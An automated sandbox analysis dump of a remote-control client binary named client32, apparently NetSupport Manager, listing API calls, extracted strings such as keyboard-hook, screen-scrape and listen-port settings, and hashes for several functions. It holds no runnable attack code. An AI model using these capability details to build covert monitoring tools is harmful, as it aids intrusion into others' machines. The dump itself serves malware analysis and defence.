Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

GetSystemMetrics.USER32(00002000), ref: 1102E7C4
FindWindowA.USER32(NSMWClass,00000000), ref: 1102E985

Part of subcall function 111100D0: GetCurrentThreadId.KERNEL32 ref: 11110166
Part of subcall function 111100D0: InitializeCriticalSection.KERNEL32(-00000010,?,11031040,00000001,00000000), ref: 11110179
Part of subcall function 111100D0: InitializeCriticalSection.KERNEL32(111F08F0,?,11031040,00000001,00000000), ref: 11110188
Part of subcall function 111100D0: EnterCriticalSection.KERNEL32(111F08F0,?,11031040), ref: 1111019C
Part of subcall function 111100D0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,11031040), ref: 111101C2

GetWindowThreadProcessId.USER32(00000000,?), ref: 1102E9C1
OpenProcess.KERNEL32(00100400,00000000,?), ref: 1102E9E9
IsILS.PCICHEK(?,?,View,Client,Bridge), ref: 1102ECAB

Part of subcall function 11094B30: OpenProcessToken.ADVAPI32(00000000,00000018,00000000,00000000,00000000,00000000,?,?,1102EA18,00000000,?,00000100,00000000,00000000,00000000), ref: 11094B4C
Part of subcall function 11094B30: OpenProcessToken.ADVAPI32(00000000,00000008,00000000,?,?,1102EA18,00000000,?,00000100,00000000,00000000,00000000), ref: 11094B59
Part of subcall function 11094B30: CloseHandle.KERNEL32(00000000,00000000,?,00000100,00000000,00000000,00000000), ref: 11094B89

SendMessageA.USER32(00000000,00000010,00000000,00000000), ref: 1102EA48
WaitForSingleObject.KERNEL32(00000000,00007530), ref: 1102EA54
CloseHandle.KERNEL32(00000000), ref: 1102EA6C
FindWindowA.USER32(NSMWClass,00000000), ref: 1102EA79
GetWindowThreadProcessId.USER32(00000000,?), ref: 1102EA9B
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 1102E7F6

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

LoadIconA.USER32(11000000,000004C1), ref: 1102EE45
LoadIconA.USER32(11000000,000004C2), ref: 1102EE55
DestroyCursor.USER32(00000000), ref: 1102EE7E
DestroyCursor.USER32(00000000), ref: 1102EE92
GetVersion.KERNEL32(?,?,?,?,?,00000000,MiniDumpType,000000FF,00000000,00000000,?,?,View,Client,Bridge), ref: 1102F45F
GetVersionExA.KERNEL32(?,?,?,?,?,?,00000000,MiniDumpType,000000FF,00000000,00000000,?,?,View,Client,Bridge), ref: 1102F4B2
Sleep.KERNEL32(00000064,Client,*StartupDelay,00000000,00000000,?,?,?,?,?,00000000,MiniDumpType,000000FF,00000000,00000000), ref: 1102FA52
PeekMessageA.USER32(?,00000000,00000000,00000009,00000001), ref: 1102FA8C

Part of subcall function 11132BF0: wsprintfA.USER32 ref: 11132C60
Part of subcall function 11132BF0: GetTickCount.KERNEL32 ref: 11132C91
Part of subcall function 11132BF0: SHGetFolderPathA.SHFOLDER(00000000,0000002B,00000000,00000000,?), ref: 11132CA4
Part of subcall function 11132BF0: GetTickCount.KERNEL32 ref: 11132CAC

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

DispatchMessageA.USER32(?), ref: 1102FA96
PeekMessageA.USER32(?,00000000,00000000,00000009,00000001), ref: 1102FAA8
CloseHandle.KERNEL32(00000000,11027270,00000001,00000000,?,?,?,?,?,00000000,?,?,?,?,?,00000000), ref: 1102FD40
GetCurrentProcess.KERNEL32(00000000,Client,*PriorityClass,00000080,00000000,Client,*ScreenScrape,00000000,00000000,?,?,?,?,?,00000000), ref: 1102FD78
SetPriorityClass.KERNEL32(00000000,?,?,?,?,?,00000000,?,?,?,?,?,00000000,MiniDumpType,000000FF,00000000), ref: 1102FD7F
SetWindowPos.USER32(000802A6,000000FF,00000000,00000000,00000000,00000000,00000013,Client,AlwaysOnTop,00000000,00000000), ref: 1102FDB5
CloseHandle.KERNEL32(00000000,11059C10,00000001,00000000,?,?,?,?,?,?,?,?,00000000), ref: 1102FE36
wsprintfA.USER32 ref: 1102FFA5
PostMessageA.USER32(NSMWControl32,00000000,Default,UseIPC,00000001,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 110300F7
PostMessageA.USER32(00000000,00000693,00000000,00000000), ref: 1103010D
PostMessageA.USER32(00000000,00000693,00000000,00000000), ref: 11030136
PostMessageA.USER32(00000000,00000693,00000000,00000000), ref: 1103015F

Part of subcall function 111281B0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,59FD48C0,00000002,75732EE0), ref: 1112820A
Part of subcall function 111281B0: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 11128217
Part of subcall function 111281B0: WaitForSingleObject.KERNEL32(?,000000FF,00000000,00000000), ref: 1112825E

Strings

Info. Client already running, pid=%d (x%x), xrefs: 1102E9CF
NoFTWhenLoggedOff, xrefs: 1102F315
Windows 2000, xrefs: 1102F5B5
_debug, xrefs: 1102EDED, 1102EF46, 11030004
Windows Ding.wav, xrefs: 1102F3DA
View, xrefs: 1102EAD5, 1102EED5, 1102EEEC, 1102EF0D
DisableRunplugin, xrefs: 1102F110
EnableGradientCaptions, xrefs: 1102EED0, 1102EEE7, 1102EF08
Windows Vista, xrefs: 1102F6A9
UseLegacyPrintCapture, xrefs: 1102F440
Intel error "%s", xrefs: 1102ED48
Windows 7 x64, xrefs: 1102F794
Windows XP, xrefs: 1102F5E3
LSPloaded=%d, WFPloaded=%d, xrefs: 1102EFBA
client32, xrefs: 1102EBE5, 1102ED82
closed ok, xrefs: 1102EA5E
Windows XP x64, xrefs: 1102F639
pcicl32, xrefs: 1102E954
*ListenPort, xrefs: 1103009E
NSMWControl32, xrefs: 110300F2
Windows 2016, xrefs: 1102F92E
DisableReplayMenu, xrefs: 1102F1FF, 1102F29D
Windows 8 x64, xrefs: 1102F7EA
General, xrefs: 1102EF28, 1102F008, 1102F377, 1102F3AA
IsILS returned %d, isvistaservice %d, xrefs: 1102ECBA
ShowKBEnable, xrefs: 1102F1B2
AssertTimeout, xrefs: 1102EF23
DisableConsoleClient, xrefs: 1102F039, 1102F0CE
Found old explorer hwnd=x%x h=%d,w=%d,style=x%x (%s), xrefs: 11030346
Windows 8.1, xrefs: 1102F849
Windows CE, xrefs: 1102F959
*BeepUsingSpeaker, xrefs: 1102F372
Session shutting down, exiting..., xrefs: 1102E7CE
Windows 98, xrefs: 1102F4F5
CLIENT32.CPP, xrefs: 1102E80A, 1102ED9B
UseIPC, xrefs: 1102FFCC
Windows 2008 x64, xrefs: 1102F73C
Windows 10, xrefs: 1102F8C7
_debug, xrefs: 1102FA09
DisableRequestHelp, xrefs: 1102F217, 1102F2B5
Global\NSMWClassAdmin, xrefs: 1102FF9A
Windows 2008, xrefs: 1102F710
Error x%x reading nsm.lic, sesh=%d, xrefs: 1102EB66
gClient.hNotifyEvent, xrefs: 1102E80F
NSTWControl32, xrefs: 1103014A
RestartAfterError, xrefs: 1102F003
NSSWControl32, xrefs: 11030121
Ready, xrefs: 11030161
NeedsReinstall, xrefs: 1102EFDC
Error. Wrong hardware. Terminating, xrefs: 1102ECE9
562258, xrefs: 1102FB8D, 1102FBE6, 1102FC27, 1102FD04
hClientRunning = %x, pid=%d (x%x), xrefs: 1102EAAA
NSMWClassVista, xrefs: 1102E775
istaService, xrefs: 1102E6DB
V12.00.8, xrefs: 1102F987
CabinetWClass, xrefs: 11030257
DisableJournalMenu, xrefs: 1102F247, 1102F2E5
Windows Vista x64, xrefs: 1102F6D7
*BeepSound, xrefs: 1102F3A5
EnableSmartcardAuth, xrefs: 1102FEDB
EnableSmartcardLogon, xrefs: 1102FE9F
Audio, xrefs: 1102F0A7, 1102F481
Info. Client running as user=%s, type=%d, xrefs: 1102EA22
NSA.LIC, xrefs: 1102EB0B, 1102EB12, 1102EB35
win8ui, xrefs: 1102EDE8
*PriorityClass, xrefs: 1102FD68
DisableTSAdmin, xrefs: 1102F051
MiniDumpType, xrefs: 1102EF41
Windows 8, xrefs: 1102F7C2
Windows 8.1 x64, xrefs: 1102F86C
TraceIPC, xrefs: 1102FFFF
*StartupDelay, xrefs: 1102FA26
Info. Trying to close client, xrefs: 1102EA34
OS2, xrefs: 1102F567
Error. Could not load transports - perhaps another client is running, xrefs: 1102FC63
Found new explorer hwnd=x%x h=%d,w=%d,style=x%x (%s), xrefs: 110303E4
DisableJournal, xrefs: 1102F22F, 1102F2CD
Windows 2003 x64, xrefs: 1102F672
V12.10.8, xrefs: 1102F98E, 1102F9C2
\Explorer.exe, xrefs: 110302FD
istaUI, xrefs: 1102E6F6
NSMWClass, xrefs: 1102E786, 1102E967, 1102EA74, 1102FF8F
Windows Millennium, xrefs: 1102F525
TracePriv, xrefs: 1102FA04
Windows 7, xrefs: 1102F773
Windows XP Ding.wav, xrefs: 1102F3E1
Client, xrefs: 1102EAC9, 1102EFE1, 1102F06E, 1102F08F, 1102F0FD, 1102F115, 1102F12D, 1102F157, 1102F181, 1102F1B7, 1102F1EC, 1102F204, 1102F21C, 1102F234, 1102F24C, 1102F264, 1102F28A, 1102F2A2, 1102F2BA, 1102F2D2, 1102F2EA, 1102F302, 1102F31A, 1102F332, 1102F445, 1102FA2B, 1102FAD6, 1102FB1F, 1102FCFA, 1102FD51, 1102FD6D, 1102FD94, 1102FEA4, 1102FEBF, 1102FEE0, 1102FFD1
Windows 2012, xrefs: 1102F81B
Windows 10 x64, xrefs: 1102F8F7
Windows 2003, xrefs: 1102F60A
Windows 2012 R2, xrefs: 1102F898
*ScreenScrape, xrefs: 1102FAD1, 1102FB1A, 1102FD4C
Windows 95, xrefs: 1102F4C4
Windows NT, xrefs: 1102F588
DisableJoinClass, xrefs: 1102F1E7, 1102F285
Bridge, xrefs: 1102EABD
NSM.LIC, xrefs: 1102EAFD, 1102EB9B
Default, xrefs: 110300EB, 1103011A, 11030143
DisableAudioFilter, xrefs: 1102F0A2, 1102F47C
DisableHelp, xrefs: 1102F32D
UseNTSecurity, xrefs: 1102FEBA
ScreenScrape, xrefs: 1102F128, 1102F152, 1102F17C
DisableAudio, xrefs: 1102F069, 1102F08A, 1102F0F8, 1102F25F, 1102F2FD
cl32main, xrefs: 1102E673
TCPIP, xrefs: 110300A3
AlwaysOnTop, xrefs: 1102FD8F

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$Process$Window$CloseCreateEventHandlePostwsprintf$CriticalOpenSectionThread$CountCurrentCursorDestroyFindIconInitializeLoadObjectPeekSingleTickTokenVersionWait$ClassDispatchEnterErrorExitFolderLastMetricsPathPrioritySendSleepSystem__wcstoi64_malloc_memset
String ID: *BeepSound$*BeepUsingSpeaker$*ListenPort$*PriorityClass$*ScreenScrape$*StartupDelay$562258$AlwaysOnTop$AssertTimeout$Audio$Bridge$CLIENT32.CPP$CabinetWClass$Client$Default$DisableAudio$DisableAudioFilter$DisableConsoleClient$DisableHelp$DisableJoinClass$DisableJournal$DisableJournalMenu$DisableReplayMenu$DisableRequestHelp$DisableRunplugin$DisableTSAdmin$EnableGradientCaptions$EnableSmartcardAuth$EnableSmartcardLogon$Error x%x reading nsm.lic, sesh=%d$Error. Could not load transports - perhaps another client is running$Error. Wrong hardware. Terminating$Found new explorer hwnd=x%x h=%d,w=%d,style=x%x (%s)$Found old explorer hwnd=x%x h=%d,w=%d,style=x%x (%s)$General$Global\NSMWClassAdmin$Info. Client already running, pid=%d (x%x)$Info. Client running as user=%s, type=%d$Info. Trying to close client$Intel error "%s"$IsILS returned %d, isvistaservice %d$LSPloaded=%d, WFPloaded=%d$MiniDumpType$NSA.LIC$NSM.LIC$NSMWClass$NSMWClassVista$NSMWControl32$NSSWControl32$NSTWControl32$NeedsReinstall$NoFTWhenLoggedOff$OS2$Ready$RestartAfterError$ScreenScrape$Session shutting down, exiting...$ShowKBEnable$TCPIP$TraceIPC$TracePriv$UseIPC$UseLegacyPrintCapture$UseNTSecurity$V12.00.8$V12.10.8$View$Windows 10$Windows 10 x64$Windows 2000$Windows 2003$Windows 2003 x64$Windows 2008$Windows 2008 x64$Windows 2012$Windows 2012 R2$Windows 2016$Windows 7$Windows 7 x64$Windows 8$Windows 8 x64$Windows 8.1$Windows 8.1 x64$Windows 95$Windows 98$Windows CE$Windows Ding.wav$Windows Millennium$Windows NT$Windows Vista$Windows Vista x64$Windows XP$Windows XP Ding.wav$Windows XP x64$\Explorer.exe$_debug$_debug$cl32main$client32$closed ok$gClient.hNotifyEvent$hClientRunning = %x, pid=%d (x%x)$istaService$istaUI$pcicl32$win8ui
API String ID: 1099283604-2621191230
Opcode ID: a9e638ff69f1124c323ad2d8e1e7c75ea6f1f7704d0975bff64711fd33ab6bf8
Instruction ID: 27af1d42f1b4f6ddb2c14770db7fbacfca67435089f052a3aa779117de4136e9
Opcode Fuzzy Hash: a9e638ff69f1124c323ad2d8e1e7c75ea6f1f7704d0975bff64711fd33ab6bf8
Instruction Fuzzy Hash: 3CE25D75F0022AABEF15DBE4DC80FADF7A5AB4474CF904068E925AB3C4D770A944CB52

Function 1102DB00 Relevance: 82.9, APIs: 15, Strings: 32, Instructions: 630
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d, xrefs: 1102E3EA
WTSFreeMemory, xrefs: 1102E061
%sessionname%, xrefs: 1102E289, 1102E2A2
multipoint=%d, softxpand=%d, pid=%d, xrefs: 1102E410
client32 dbi %hs, xrefs: 1102E3C3
ts macaddr=%s, xrefs: 1102E01C
Client, xrefs: 1102DEE5, 1102DF1D, 1102E034
screenscrape, xrefs: 1102DF18
, xrefs: 1102E0B5
client32, xrefs: 1102DE25
%s.%02d, xrefs: 1102E250
Wtsapi32.dll, xrefs: 1102DF2C
$session$, xrefs: 1102E2B6
client32.ini, xrefs: 1102DD55
14/03/16 10:38:31 V12.10F8, xrefs: 1102E3BE
ClientName, xrefs: 1102E0E5
%session%, xrefs: 1102E2CA
NSM.LIC, xrefs: 1102DB22
TSMode, xrefs: 1102DEE0
562258, xrefs: 1102E145, 1102E30B, 1102E32F, 1102E33C, 1102E36C, 1102E3E1
%02d, xrefs: 1102E238
ListenPort, xrefs: 1102DF00
Warning: Unexpanded clientname=<%s>, xrefs: 1102E1F3
DisableConsoleClient, xrefs: 1102DE67
WTSQuerySessionInformationA, xrefs: 1102DF9E
MacAddress, xrefs: 1102E02F
IsA(), xrefs: 1102E279, 1102E2F8
NSMWClass, xrefs: 1102DCE4
TCPIP, xrefs: 1102DF05
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1102E274, 1102E2F3
Error x%x reading %s, sesh=%d, xrefs: 1102DDB1
Trying to get mac addr for %u.%u.%u.%u, xrefs: 1102DFF4

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _malloc_memsetwsprintf
String ID: $$session$$%02d$%s.%02d$%session%$%sessionname%$14/03/16 10:38:31 V12.10F8$562258$Client$ClientName$DisableConsoleClient$Error x%x reading %s, sesh=%d$IsA()$ListenPort$MacAddress$NSM.LIC$NSMWClass$TCPIP$TSMode$Trying to get mac addr for %u.%u.%u.%u$WTSFreeMemory$WTSQuerySessionInformationA$Warning: Unexpanded clientname=<%s>$Wtsapi32.dll$client32$client32 dbi %hs$client32.ini$computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$multipoint=%d, softxpand=%d, pid=%d$screenscrape$ts macaddr=%s
API String ID: 3802068140-38229974
Opcode ID: 8d7e34653a530cc98d4c7b142cb31fa2942002c12a1f4f3c66c79a8befd3f6be
Instruction ID: 727bed6a5d63171c4319a8bac454151215a042d106ed124055d9f0508de139ba
Opcode Fuzzy Hash: 8d7e34653a530cc98d4c7b142cb31fa2942002c12a1f4f3c66c79a8befd3f6be
Instruction Fuzzy Hash: 7932D275D0022A9FDF12DFA4DC84BEDB7B8AB44308F9445E9E55867280EB70AF84CB51

Function 110A9C90 Relevance: 56.2, APIs: 27, Strings: 5, Instructions: 236
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(setupapi.dll,59FD48C0,?,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,11184778), ref: 110A9CC3
GetProcAddress.KERNEL32(00000000,SetupDiGetClassDevsA), ref: 110A9CE7
SetupDiGetClassDevsA.SETUPAPI(111A6E0C,00000000,00000000,00000012,?,?,?,?,?,?,?,?,?,00000000,11184778,000000FF), ref: 110A9D01
GetProcAddress.KERNEL32(00000000,SetupDiEnumDeviceInterfaces), ref: 110A9D2C
_free.LIBCMT ref: 110A9D60
GetProcAddress.KERNEL32(00000000,SetupDiGetDeviceInterfaceDetailA), ref: 110A9D72
GetLastError.KERNEL32 ref: 110A9D9D
_malloc.LIBCMT ref: 110A9DB3
GetProcAddress.KERNEL32(00000000,SetupDiGetDeviceInterfaceDetailA), ref: 110A9DD5
SetLastError.KERNEL32(00000078,?,?,?,?,?,?,?,?,?,00000000,11184778,000000FF,?,1102F1AA,Client), ref: 110A9E07
SetLastError.KERNEL32(00000078), ref: 110A9E1B
GetLastError.KERNEL32 ref: 110A9E21
_free.LIBCMT ref: 110A9E33
SetLastError.KERNEL32(00000078), ref: 110A9E44
SetLastError.KERNEL32(00000078), ref: 110A9E51
_free.LIBCMT ref: 110A9E64
FreeLibrary.KERNEL32(?,?), ref: 110A9E74
FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000,11184778,000000FF,?,1102F1AA,Client), ref: 110A9F18

Strings

setupapi.dll, xrefs: 110A9CBB
SetupDiGetDeviceInterfaceDetailA, xrefs: 110A9D6C, 110A9DCF
SetupDiGetClassDevsA, xrefs: 110A9CDB
SetupDiEnumDeviceInterfaces, xrefs: 110A9D26
SetupDiDestroyDeviceInfoList, xrefs: 110A9EC0

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$AddressProc$Library_free$Free$ClassDevsLoadSetup_malloc
String ID: SetupDiDestroyDeviceInfoList$SetupDiEnumDeviceInterfaces$SetupDiGetClassDevsA$SetupDiGetDeviceInterfaceDetailA$setupapi.dll
API String ID: 3464732724-3340099623
Opcode ID: f516254d0abd54e50715bca7ef5168f810df5caaca2cd717629c9093cd8c9f4a
Instruction ID: 033bff87456eb4c9bd2d5bbaba34d7345019b106b940800e90953e4c12ebf53e
Opcode Fuzzy Hash: f516254d0abd54e50715bca7ef5168f810df5caaca2cd717629c9093cd8c9f4a
Instruction Fuzzy Hash: F2816279E14259ABEB04DFF4EC84F9FFBB8AF48704F104528F921A6284EB759905CB50

Function 1102DBC9 Relevance: 49.3, APIs: 7, Strings: 21, Instructions: 319
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(Wtsapi32.dll,Client,screenscrape,00000001,00000003,TCPIP,ListenPort,00000000,00000003,00000003,?,?,?,?,?,?), ref: 1102DF31

Strings

computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d, xrefs: 1102E3EA
WTSFreeMemory, xrefs: 1102E061
multipoint=%d, softxpand=%d, pid=%d, xrefs: 1102E410
client32 dbi %hs, xrefs: 1102E3C3
ts macaddr=%s, xrefs: 1102E01C
Client, xrefs: 1102DEE5, 1102DF1D, 1102E034
TSMode, xrefs: 1102DEE0
562258, xrefs: 1102E145, 1102E36C, 1102E3E1
ListenPort, xrefs: 1102DF00
DisableConsoleClient, xrefs: 1102DE67
screenscrape, xrefs: 1102DF18
, xrefs: 1102E0B5
WTSQuerySessionInformationA, xrefs: 1102DF9E
MacAddress, xrefs: 1102E02F
TCPIP, xrefs: 1102DF05
Wtsapi32.dll, xrefs: 1102DF2C
Error x%x reading %s, sesh=%d, xrefs: 1102DDB1
client32.ini, xrefs: 1102DD55
14/03/16 10:38:31 V12.10F8, xrefs: 1102E3BE
ClientName, xrefs: 1102E0E5
Trying to get mac addr for %u.%u.%u.%u, xrefs: 1102DFF4

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: $14/03/16 10:38:31 V12.10F8$562258$Client$ClientName$DisableConsoleClient$Error x%x reading %s, sesh=%d$ListenPort$MacAddress$TCPIP$TSMode$Trying to get mac addr for %u.%u.%u.%u$WTSFreeMemory$WTSQuerySessionInformationA$Wtsapi32.dll$client32 dbi %hs$client32.ini$computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d$multipoint=%d, softxpand=%d, pid=%d$screenscrape$ts macaddr=%s
API String ID: 1029625771-730963012
Opcode ID: efde7a6f29c4b35a1bc2373ff856d498f8aef1b4f42035034b7e6d706e59a609
Instruction ID: 8eab5b2d156e186679f92ce27f1e5cdd209b728942572a9b5b46018c3091c824
Opcode Fuzzy Hash: efde7a6f29c4b35a1bc2373ff856d498f8aef1b4f42035034b7e6d706e59a609
Instruction Fuzzy Hash: 97C1D275E0026AAFDF22DF959C84BEDF7B9AB44308F9440EDE55867280D770AE80CB51

Function 111414A0 Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 266
libraryregistryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(User32.dll,00000000,00000000), ref: 111414F3
FreeLibrary.KERNEL32(00000000), ref: 11141563
LoadLibraryA.KERNEL32(imm32,?,?,00000000,00000000), ref: 11141586
GetClassInfoExA.USER32(11000000,NSMWClass,?), ref: 111415E5
_memset.LIBCMT ref: 111415F9
LoadCursorA.USER32(00000000,00007F00), ref: 11141649
GetStockObject.GDI32(00000000), ref: 11141653
RegisterClassExA.USER32(?), ref: 1114166A
LoadLibraryA.KERNEL32(pcihooks,?,?,00000000,00000000), ref: 11141702
GetProcAddress.KERNEL32(00000000,HookKeyboard), ref: 11141717
SetTimer.USER32(00000000,00000000,000003E8,1113CD60), ref: 1114183A
#17.COMCTL32(?,?,?,00000000,00000000), ref: 11141868
LoadLibraryA.KERNEL32(riched32.dll,?,?,?,00000000,00000000), ref: 11141873

Part of subcall function 11017450: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,59FD48C0,1102FCB2,00000000), ref: 1101747E
Part of subcall function 11017450: LoadLibraryA.KERNEL32(Kernel32.dll), ref: 1101748E
Part of subcall function 11017450: GetProcAddress.KERNEL32(00000000,QueueUserWorkItem), ref: 110174D2
Part of subcall function 11017450: FreeLibrary.KERNEL32(00000000), ref: 110174F8

Part of subcall function 110CC7F0: CreateWindowExA.USER32(00000000,button,11194244,00000000,00000000,00000000,00000020,00000020,00000000,00000000,00000000,00000000), ref: 110CC829
Part of subcall function 110CC7F0: SetClassLongA.USER32(00000000,000000E8,110CC570), ref: 110CC840

Strings

TraceCopyData, xrefs: 1114176C
HookKeyboard, xrefs: 11141711
UI.CPP, xrefs: 11141621, 1114167C
_debug, xrefs: 11141771
NSMGetAppIcon(), xrefs: 11141626
View, xrefs: 11141751
*quiet, xrefs: 111415AD
InitUI (%d), xrefs: 111414CC
imm32, xrefs: 1114157C
pcihooks, xrefs: 111416FD
_License, xrefs: 111415B2
NSMWClass, xrefs: 111415D7, 11141663
User32.dll, xrefs: 111414E7
riched32.dll, xrefs: 1114186E

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

